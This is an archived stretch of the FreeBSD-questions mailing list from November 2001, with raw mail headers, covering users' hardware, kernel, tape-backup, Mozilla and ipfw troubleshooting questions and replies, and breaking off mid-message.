Why my network card, a Digital = Etherworks=20 3/TURBO (ISA) (10 mps), does not seem to be recognized by FreeBSD 4.2, = althought=20 my second NIC a winbond based card does. I have seen Etherworks network = card=20 should be recognized by FreeBSD.( http://www.freeb= sd.org/releases/4.2R/notes.html ,=20 DEC EtherWORKS III NICs (DE203, DE204, and = DE205)). My card=20 works perfectly under Windows98 and should works also with=20 FreeBSD...
 
 Why it is not recognized = automatically ? Is=20 there any solution to install it (I need two for=20 firewall)?
Many thanks in advance,
 
 
Nicolas
 
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------=_NextPart_000_00EB_01C17452.9C1EF7A0-- ______________________________________________________________________________ ifrance.com, l'email gratuit le plus complet de l'Internet ! vos emails depuis un navigateur, en POP3, sur Minitel, sur le WAP... http://www.ifrance.com/_reloc/email.emailif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:24:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gaia.host4u.net (gaia.host4u.net [209.150.128.48]) by hub.freebsd.org (Postfix) with ESMTP id 6412737B419 for ; Fri, 23 Nov 2001 10:24:23 -0800 (PST) Received: from andre ([216.71.43.117]) by gaia.host4u.net (8.8.5/8.8.5) with SMTP id MAA30517; Fri, 23 Nov 2001 12:21:39 -0600 Message-ID: <00f501c1744b$c320a3f0$a50410ac@olmct.net> Reply-To: "Andre` Niel Cameron" From: "Andre` Niel Cameron" To: "Edwin Groothuis" Cc: "free bsd" , , References: <034601c173cb$8edfee00$a50410ac@olmct.net> <20011123142616.D58388@k7.mavetju.org> Subject: Re: Quick question Date: Fri, 23 Nov 2001 13:22:08 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yup should have sent it to one list was TOTALLY spacing that question;) Sorry for asking such a dumb question;) I was in a hurry and needed an answer should have just thought about it for a second. I appreciate the 34 responses I got though:) Regards, Andre` C. Technical Support Ô¿Ô¬ ---------------------------------------------------------------------------- - Visit our support manual at http://supportmanual.com/ ----- Original Message ----- From: "Edwin Groothuis" To: "Andre` Niel Cameron" Cc: "free bsd" ; ; Sent: Thursday, November 22, 2001 10:26 PM Subject: Re: Quick question > On Thu, Nov 22, 2001 at 10:04:24PM -0500, Andre` Niel Cameron wrote: > > Anyone know how to get a whole random number in perl? > > > > rand(18) always gives decimals I need just like 12 or 7 anyone know? > > Multiply it by the maximum number you want, for example if you want > something between [1,20] you do int(rand()*20 + 1) > > Edwin, wondering if you couldn't have sent it to just one mailing-list. > > -- > Edwin Groothuis | Personal website: http://www.MavEtJu.org > edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: > ------------------+ http://www.FatalDimensions.org/ > > -- > To unsubscribe, e-mail: beginners-cgi-unsubscribe@perl.org > For additional commands, e-mail: beginners-cgi-help@perl.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:26:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 12B5C37B405 for ; Fri, 23 Nov 2001 10:26:11 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id KAA31243; Fri, 23 Nov 2001 10:26:05 -0800 Message-ID: <3BFE94C8.2030903@owt.com> Date: Fri, 23 Nov 2001 10:26:16 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: adi@living-source.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem with buildworld RELENG_4_4 on a RELENG_4_1_1 system References: <468svtk2ffuh56s7nmdhtc8i3h1t793rqd@4ax.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Adi Sieker wrote: > On Fri, 23 Nov 2001 11:25:16 +0100, Adi Sieker > wrote: > > [buildworld problems snipped] > > Seems like I have found the problem. > I found a message on this list (before I subscribed) from Kris > Kennaway, that says source upgrades from 4.1 to 4.3 are known tobe > broken. Looks like source upgrades from 4.1.1 to 4.4 are broken aswell But to RELENG_4 are supposed to be fixed now. Just don't upgrade to 4.4-release. Kent > > Regards > Adi > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > . > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:33:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from FreeBSD.KuwaitNet.Net (FreeBSD.KuwaitNet.Net [209.85.227.165]) by hub.freebsd.org (Postfix) with ESMTP id 6858137B417 for ; Fri, 23 Nov 2001 10:33:21 -0800 (PST) Received: from FreeBSD.KuwaitNet.Net (big@localhost.KuwaitNet.Net [127.0.0.1]) by FreeBSD.KuwaitNet.Net (8.12.1/8.11.0) with ESMTP id fANIXKeb089940; Fri, 23 Nov 2001 10:33:21 -0800 (PST) Received: from localhost (big@localhost) by FreeBSD.KuwaitNet.Net (8.12.1/8.12.1/Submit) with ESMTP id fANIXF4b089937; Fri, 23 Nov 2001 10:33:15 -0800 (PST) X-Authentication-Warning: FreeBSD.KuwaitNet.Net: big owned process doing -bs Date: Fri, 23 Nov 2001 21:33:15 +0300 (AST) From: Bashar To: Cc: Subject: USBD Error on FreeBSD & alcatel modem! Message-ID: <20011123212907.T89163-100000@FreeBSD.KuwaitNet.Net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Regards! I'm facing a problem as follows on my messages log with alcatel and ADSL link: uhci_timeout: ii=0xc0efa840 usb1: host controller process error usb1: host controller halted and i have to reboot the box for USBD to come back live and redial , this happens almost every 2 - 5 hours and sometimes every 20 mins, any idea whats causing this?. Its builtin USB. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:36:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from news.lucky.net (news.lucky.net [193.193.193.102]) by hub.freebsd.org (Postfix) with ESMTP id 1CFF537B417 for ; Fri, 23 Nov 2001 10:36:41 -0800 (PST) Received: (from mail@localhost) by news.lucky.net (8.Who.Cares/8.Who.Cares) id UOC32345 for freebsd-questions@freebsd.org; Fri, 23 Nov 2001 20:36:36 +0200 (envelope-from artem@inobject.com) From: "Artem Zagorulko" To: freebsd-questions@freebsd.org Subject: Unicode Date: Fri, 23 Nov 2001 16:10:40 +0200 Organization: Fidolook Express 2.000 www.fidolook.da.ru Message-ID: <9tllb5$6b2$1@bn.utel.com.ua> Mime-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Trace: bn.utel.com.ua 1006524581 6498 212.113.40.176 (23 Nov 2001 14:09:41 GMT) X-Complaints-To: postmaster@utel.net.ua X-Priority: 3 X-MSMail-Priority: Normal X-Newsreader: Fidolook Express 2.000 for MS OE5 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG 1971401476 Hi, all! I use g++ 2.95.3 and need to work with unicode:(. But there are no functions like a swprintf(), swscanf(), fwprintf() ets. Does it receive with newest version of g++. If not what do I have to do? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:37:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id A26DF37B419 for ; Fri, 23 Nov 2001 10:36:46 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fANIagR35198; Fri, 23 Nov 2001 10:36:42 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Robert Suetterlin" Cc: Subject: RE: why are You asking here Date: Fri, 23 Nov 2001 10:36:40 -0800 Message-ID: <000001c1744d$ca806340$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <20011123175912.B1170@robert2.mpe-garching.mpg.de> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Robert >Suetterlin >Sent: Friday, November 23, 2001 8:59 AM >To: Ted Mittelstaedt >Cc: freebsd-questions@FreeBSD.ORG >Subject: Re: why are You asking here > >> >> 1) The power consumption and all that, while it's important, is not >> something that FreeBSD can solve for you. This is purely a hardware >> issue. Now, if you have some hardware already in mind that you think >> can do it and your just looking for an OS to run it - well that's >> something else, tell us what it is. If not - well I think your first >> stop is the hardware mailing lists. >Yes. No. Perhaps. >Good idea that You mentioned the hardware page... >Still the hardwarepage is not the first stop if the application that >solves my problem is bound to a specific operating system, which then >turns out to be bound to some specific hardware. > it's a lot easier to modify software to work with existing hardware instead of modifying hardware to work with existing software. Find the hardware first then worry about working out drivers for it later. > >> I am not at all convinced that tape storage is any kind of answer for >> you. Besides the fragility of the medium, there's the fragility of the >> recording mechanism itself. All tape drives, being mechanical things, >> will wear and drift out of alignment. I simply cannot imagine any kind >> of data tape drive manufactured today lasting for 5-10 years with any >> reasonable amount of use, [...] >1) Well why tape storage? Did I indicate tapes in my mail? yes you did > Sorry for >beeing so specific, I do not want to specify 'tapes' already. >2) Our datacenter is using tapes for data storage and so far (under very >heavy use over a very long time) everything is still working. Of course >we must plan for wear of the machinery. And we must have a solution >that can be serviced by astronauts / kosmonauts easily. > what hardware are they already using and how much data is it storing? Maybe someone can write a FreeBSD driver for it. > >> 3) What exactly is a HSM going to do for you? >HSM is useful if You have a hirarchy of storage with different >qualities. So it will help in any application where You apply several >storage solutions that have differnt qualities --- i.e. density, price, >robustness, mobility, bandwidth, etc. --- to specific problems. >Like Ram, Flash >Memory, Static Memory, Harddrives, Tapes, DVDs, what do I know. > That's what I said. You indicated that your doing archival only - ie: "one quality" in your terms. Is this not true? >Our experiment should run 24/7 if it would be possible. But at the >least it should be possible to run it continously for 45 Minutes at peak >data rates. The total experiment time is estimated to at least 3 hours >per week. This means aprox. 150TB of data per year. If there is a >shuttle mission each month, they will have to transport 10TB of data >each time. > Speaking in GByte Flashcards that is $5.000.000 in >Flashmemory every two >months. Ok we could recycle some of that memory... And Flashmemory >will also get severe problems with hard radiation. Redundancy will >increase price by aprox. 30%. So we talk about $6.5M > If we will get larger data volumes in the future (because >experimentalists always want higher data rates and longer experiment >time) then prices will scale accordingly. So then have someone design an optical solution for you. > Speaking of a Solid State Solution. First I cannot guess easily >the price of 10TB Static Ram. Second, if You compare the size of a Ram >Chip to a 100GByte Tape, I would say overall datadensity is similar. Of >course You can get Memory much denser if You remove Packaging but not by >an order of magnitude. Of course using a solid state storage to >store for example 45 minutes of data could be very reasonable. > Harddrives are a problem, because they disturb microgravity. As >will all rotating objects, because of the enormous torque they can >generate. > >So what can an HSM do for us? I guess it depends on the capabilities of >the HSM. I believe, that our system will need a hirarchy of storage >systems, specialised in specific tasks. Why? What will the experiment be doing? All you have indicated is archival, there's no varying data quality need here. >I also would like to use the >same general technique today that we will launch in five years (and then >use for up to ten more). So I would like to use standard hardware and >software solutions. These will most likely adept to the future >automatically. Any standard solution will be hopelessly obsolete 10 years from now and getting parts for it will cost astronomically. > An HSM would be an important building block in my >concept of a solution to the data storage problem, as it relieves me of >all the problems connected with hirarchical storage management. No, it relieves you of having to redesign a storage solution sometime in the future when you START needing HSM. In short your trying to double-dip and get a two-fer, you want to pay for tomorrow's data storage solution needs today. > This does of course not prove that I need HSM at all. I might >have a complete misconception of how to handle this amount of data at >all. > I think that your grossly underestimating the technical problems of handling 10TB of data a month in a 494x435x248mm space, with power of 200W (at 28VDC). Consider if a shuttle is delayed due to weather that's not leaving you any overhead. You could end up with a need for 50TB of data if a long delay happened, and that's with no redundancy. There's another thing I think your missing here. The Space Program and even the ISS is still mainly funded by US Taxpayer dollars. Well, we are funding it for the express reason of GENERATING new technical advances due to the specialized needs of space exploration. You have an application here that's crying out for a custom-built high-capacity data storage device that takes small space and little power and your screwing around looking for an off the shelf HSM array that will do it. Such an animal doesen't exist. You need to take that R&D budget you have and put it towards R&D with one of the major technical players - perhaps IBM - that can supplement your budget. Of course your going to end up with a custom-built solution but that's the entire point of the exercise as then such solution can be translated into a real product. Instead of attempting to get some sort of standard now, what you need to do is trust in the Capatalistic system to use whatever work your R&D budget creates and make commercial products out of it. Then 10 years from now such high-capacity arrays will cost $100 and be available from Costco. Attempting to use off-the-shelf products now does not help anybody realize any R&D leverage from your budget - which is the entire point of the money spent on ISS. The dollars are available from the hardware manufacturers. Your project would have high marketing value to them. Leverage that value! Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:48:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id BB59C37B405; Fri, 23 Nov 2001 10:48:45 -0800 (PST) Received: from i8k.babbleon.org ([66.57.85.154]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 12:36:33 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Brian T.Schellenberger To: "Anthony Atkielski" , "Gary W. Swearingen" Subject: Re: setuid on nethack? Date: Fri, 23 Nov 2001 12:35:42 -0500 X-Mailer: KMail [version 1.2] Cc: "FreeBSD Questions" , References: <014201c17336$40653f90$0a00000a@atkielski.com> <03a801c17399$ba011c30$0a00000a@atkielski.com> In-Reply-To: <03a801c17399$ba011c30$0a00000a@atkielski.com> MIME-Version: 1.0 Message-Id: <01112312354202.00791@i8k.babbleon.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thursday 22 November 2001 16:07, Anthony Atkielski wrote: > Alas! This does not make me feel warm and fuzzy! It's a good thing I'm > not installing this at a bank. If I were installing FreeBSD at a bank, I would not install from ports or over the network at all; I'd get the installation CDs and then track the security-fixes track. And I'd wait at least a month after the new release before installing it so wait for any potential problem to get shaken out. A maximally safe system is fundamentally incompatible with a maximally "cool" or "up to date" system. That said, the ports are surely a lot safer than any Windows-based system; the MD5 give you some assurance that it is what you think it is, Unixy systems are less of a magnet for malware, and the source *is* available; even if you don't scan it, others will. If you don't like to live dangerously, then follow this simple rule: Download the ports but wait at least a week before you actually upgrade or install any of them, and watch the ports and other lists in the meantime. If there are severe problems, somebody else will find them & post. > > ----- Original Message ----- > From: "Gary W. Swearingen" > To: "Anthony Atkielski" > Cc: "FreeBSD Questions" ; > > Sent: Thursday, November 22, 2001 22:00 > Subject: Re: setuid on nethack? > > > "Anthony Atkielski" writes: > > > When I add ports and stuff to my system, sometimes they are picked up > > > from > > some > > > > bizarre FTP sites, and in cases where the executables do not have to be > > trusted, > > > > some guidelines on how better to secure them would be welcome. I know > > > that often they are being rebuilt from source before installation, but > > > it isn't really practical to read through the source for every port > > > just to look for suspicious code. > > > > I've also worried about this sort of thing since learning the ports > > system last winter. There's a lot of downloading and running of scripts > > as root going on and it's scary, especially after you've spent many days > > tring to improve your security. A few more observations on the subject: > > > > The main defense seems to be the fear of being tracked down by hackers > > more skillful than most crackers, aided by the use of MD5 to verify that > > you're installing the same thing that someone else has already installed > > and found (with meager testing, sadly, but necessarily) to work OK. > > > > I've read of little vandalware on FreeBSD (or Linux). The risk seems > > acceptable for most people, at least those who do backups. There also > > might not be any less risky practical alternatives for many. > > > > If one learns the details of the ports system, one can do all or most of > > the ports stuff as a regular user, downloading, building, and installing > > to non-standard, non-root-protected directories. Someone posted some > > clues about this on -questions (or -stable?) withing the last couple of > > weeks, but I can't find my copy of it. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Brian T. Schellenberger . . . . . . . bts@wnt.sas.com (work) Brian, the man from Babble-On . . . . bts@babbleon.org (personal) http://www.babbleon.org -------> Free Dmitry Sklyarov! (let him go home) <----------- http://www.eff.org http://www.programming-freedom.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:59:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kraeusen.nbrewer.com (kraeusen.nbrewer.com [208.42.68.65]) by hub.freebsd.org (Postfix) with ESMTP id F3F6A37B417 for ; Fri, 23 Nov 2001 10:59:09 -0800 (PST) Received: by seward.nbrewer.com (Postfix, from userid 1001) id 478941DCA0B; Mon, 19 Nov 2001 15:13:06 -0600 (CST) Date: Mon, 19 Nov 2001 15:13:06 -0600 From: Christopher Farley To: Noor Dawod Cc: freebsd-questions@freebsd.org Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011119151303.B7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , Noor Dawod , freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Noor Dawod (noor@comrax.com) wrote: > Hi, > > I want to buy a SCSI tape backup (DAT) for our server. Can anyone recommend > a good one? fast and reliable that works under FreeBSD. I think just about any SCSI tape drive will work under FreeBSD. I've used a couple different types of SCSI drives (DAT, DLT) under FreeBSD and found it to be utterly painless to set them up. > While we're at it, how do you back up to one of these tape drives? In believe FreeBSD recognizes a SCSI tape drive as /dev/nrsa0. Most of the tape backup programs (certainly dump, maybe tar and cpio) use the correct device by default. The mt command (man mt) is also useful for manipulating the tape drive (checking the status, positioning the tape to the right file, rewinding or retensioning the tape, etc). -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:59:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kraeusen.nbrewer.com (kraeusen.nbrewer.com [208.42.68.65]) by hub.freebsd.org (Postfix) with ESMTP id 0158A37B418 for ; Fri, 23 Nov 2001 10:59:10 -0800 (PST) Received: by seward.nbrewer.com (Postfix, from userid 1001) id 386D31DCA0A; Mon, 19 Nov 2001 15:07:14 -0600 (CST) Date: Mon, 19 Nov 2001 15:07:13 -0600 From: Christopher Farley To: questions@freebsd.org Subject: Slow restores on a DLT4000 Message-ID: <20011119150711.A7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am a new owner of a pair of DLT4000 drives. I've been testing them using dump and restore. I get fairly good throughput on dumps; about 1.6 megs/second, which seems similar to 'average' expectations that have been published. During a dump, the drive does not stream, but runs, stops, rewinds, runs, stops, rewinds... My thinking is that the tape drive is able to write to a tape faster than my platters can provide the bits. Restoring data off a level 0 dump takes about twice as long as the dump itself, and it also fails to stream. Also, it takes just as long to retrieve a few files off of a dump as it does to restore an entire dump. It seems like the drive simply reads the tape sequentially, and if it sees a file I've marked, it writes it to the disk. Consequently, if the file is at the end of the tape, it will take 4 hours to find the file on a 20 Gig dump. Is this (slow) behavior due to the way dump/restore works, or due to the DLT4000? Is there any kind of drive/backup program that allows for some kind of random access on the tape drive? (I used to have a 4mm DAT, and I seem to recall that restoring a single file or two was very fast and efficient. It has been a while since I've done it, though.) -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:59:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kraeusen.nbrewer.com (kraeusen.nbrewer.com [208.42.68.65]) by hub.freebsd.org (Postfix) with ESMTP id E238737B419 for ; Fri, 23 Nov 2001 10:59:10 -0800 (PST) Received: by seward.nbrewer.com (Postfix, from userid 1001) id 9C7A91DCA0D; Mon, 19 Nov 2001 15:20:56 -0600 (CST) Date: Mon, 19 Nov 2001 15:20:56 -0600 From: Christopher Farley To: parv Cc: dochawk@psu.edu, freebsd-questions@FreeBSD.ORG Subject: Re: mozilla does irrelevant search instead revisiting page Message-ID: <20011119152055.D7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , parv , dochawk@psu.edu, freebsd-questions@FreeBSD.ORG References: <200110172009.f9HK9AB81768@fac13.ds.psu.edu> <20011119021957.A9463@moo.holy.cow> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119021957.A9463@moo.holy.cow> User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG parv (parv_@yahoo.com) wrote: > ok, now that i have installed 0.9.5 version, i am getting the > same symptoms. the only workaround i have found is to clear > both memory and disk cache in "edit/preferences/advanced/cache". > > i have set both cache limits to be zero as "every time-compare-cache" > setting didn't help. somehow i have a feeling that zero cache limit > won't prove to be helpful either. > > of course, i am assuming that zero limit would mean "not to cache > anything", a la netscape, not "cache until memory/disk fills". I too am experiencing weird problems with Mozilla 0.9.5. What I've noticed is that the back button does not always return you to the proper page. Maybe your problems are related. This has been reported by other people, too (and on multiple platforms). Funny thing is that 0.9.4 worked flawlessly. I think there's been one other Mozilla release where I've been sorry I upgraded, but in general things do get better! -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:59:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kraeusen.nbrewer.com (kraeusen.nbrewer.com [208.42.68.65]) by hub.freebsd.org (Postfix) with ESMTP id E36DD37B41B for ; Fri, 23 Nov 2001 10:59:10 -0800 (PST) Received: by kraeusen.nbrewer.com (Postfix, from userid 1001) id 25F971DCA2B; Mon, 19 Nov 2001 19:18:19 -0600 (CST) Date: Mon, 19 Nov 2001 15:07:13 -0600 From: Christopher Farley To: questions@freebsd.org Subject: Slow restores on a DLT4000 Message-ID: <20011119150711.A7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am a new owner of a pair of DLT4000 drives. I've been testing them using dump and restore. I get fairly good throughput on dumps; about 1.6 megs/second, which seems similar to 'average' expectations that have been published. During a dump, the drive does not stream, but runs, stops, rewinds, runs, stops, rewinds... My thinking is that the tape drive is able to write to a tape faster than my platters can provide the bits. Restoring data off a level 0 dump takes about twice as long as the dump itself, and it also fails to stream. Also, it takes just as long to retrieve a few files off of a dump as it does to restore an entire dump. It seems like the drive simply reads the tape sequentially, and if it sees a file I've marked, it writes it to the disk. Consequently, if the file is at the end of the tape, it will take 4 hours to find the file on a 20 Gig dump. Is this (slow) behavior due to the way dump/restore works, or due to the DLT4000? Is there any kind of drive/backup program that allows for some kind of random access on the tape drive? (I used to have a 4mm DAT, and I seem to recall that restoring a single file or two was very fast and efficient. It has been a while since I've done it, though.) -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 10:59:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kraeusen.nbrewer.com (kraeusen.nbrewer.com [208.42.68.65]) by hub.freebsd.org (Postfix) with ESMTP id E277137B41A for ; Fri, 23 Nov 2001 10:59:10 -0800 (PST) Received: by seward.nbrewer.com (Postfix, from userid 1001) id 5B0EA1DCA0C; Mon, 19 Nov 2001 15:16:22 -0600 (CST) Date: Mon, 19 Nov 2001 15:16:22 -0600 From: Christopher Farley To: Manuel Hendel Cc: FreeBSD Questions Subject: Re: problems with plugins for mozilla Message-ID: <20011119151620.C7781@northernbrewer.com> Mail-Followup-To: Christopher Farley , Manuel Hendel , FreeBSD Questions References: <20011119151020.GA30613@he0.easygolucky.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119151020.GA30613@he0.easygolucky.de> User-Agent: Mutt/1.3.22.1i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Manuel Hendel (Manuel.Hendel@easygolucky.de) wrote: > I'm using mozilla 0.9.5. Today I tried to install the realplayer > plugin, without success. I copied the files to ~/.mozilla/plugins. Is > that ok? Can anyone help solving this? Are you by chance using the FreeBSD's native Mozilla and trying to install Linux plug-ins? Correct me if I'm wrong, but I don't think that works. If you have Linux emulation, and install the linux-gtk port, it's fairly trivial to download and install a pre-build Linux Mozilla that will play well with any linux plugin (Java, Flash, presumably RealPlayer)... -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 11:14:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.blazebox.homeip.net (pool-141-155-139-27.ny5030.east.verizon.net [141.155.139.27]) by hub.freebsd.org (Postfix) with ESMTP id 69AF337B405 for ; Fri, 23 Nov 2001 11:14:07 -0800 (PST) Received: from blaze (blaze.homeip.net [192.168.0.2]) by mail.blazebox.homeip.net (Postfix) with SMTP id 6543B22982 for ; Fri, 23 Nov 2001 14:11:58 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 From: "Paul Blazejowski" To: freebsd-questions@FreeBSD.ORG Subject: FreeBSD 4.4-STABLE (ipfw core dump). X-Mailer: Pronto v2.2.6 On linux/mysql Date: 23 Nov 2001 14:13:29 EST Reply-To: "Paul Blazejowski" Message-Id: <20011123191158.6543B22982@mail.blazebox.homeip.net> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all, I have this problem with new kernel on 4.4-STABLE and ipfw... When new kernel is booted i get lots of these messages: Invalid argument ipfw: getsockopt(IP_FW_ADD) When ipfw is invoked eg. when i run ipfw it results in core being dumped and the process is killed.My old kernel works just fine...dmesg outputs: ----------- previous kernel ----------- Nov 23 13:38:22 blazebox /kernel: FreeBSD 4.4-STABLE #0: Sun Oct 7 14:56:13 EDT 2001 Nov 23 13:38:22 blazebox /kernel: diffie@blazebox.homeip.net:/usr/obj/usr/src/sys/BLAZEBOX Nov 23 13:38:22 blazebox /kernel: IP packet filtering initialized, divert enabled, rule-based forwarding enabled, default to accept, unlimited logging Nov 23 13:38:22 blazebox /kernel: DUMMYNET initialized (010124) Nov 23 13:38:22 blazebox /kernel: BRIDGE 010131, have 7 interfaces Nov 23 13:38:22 blazebox /kernel: -- index 1 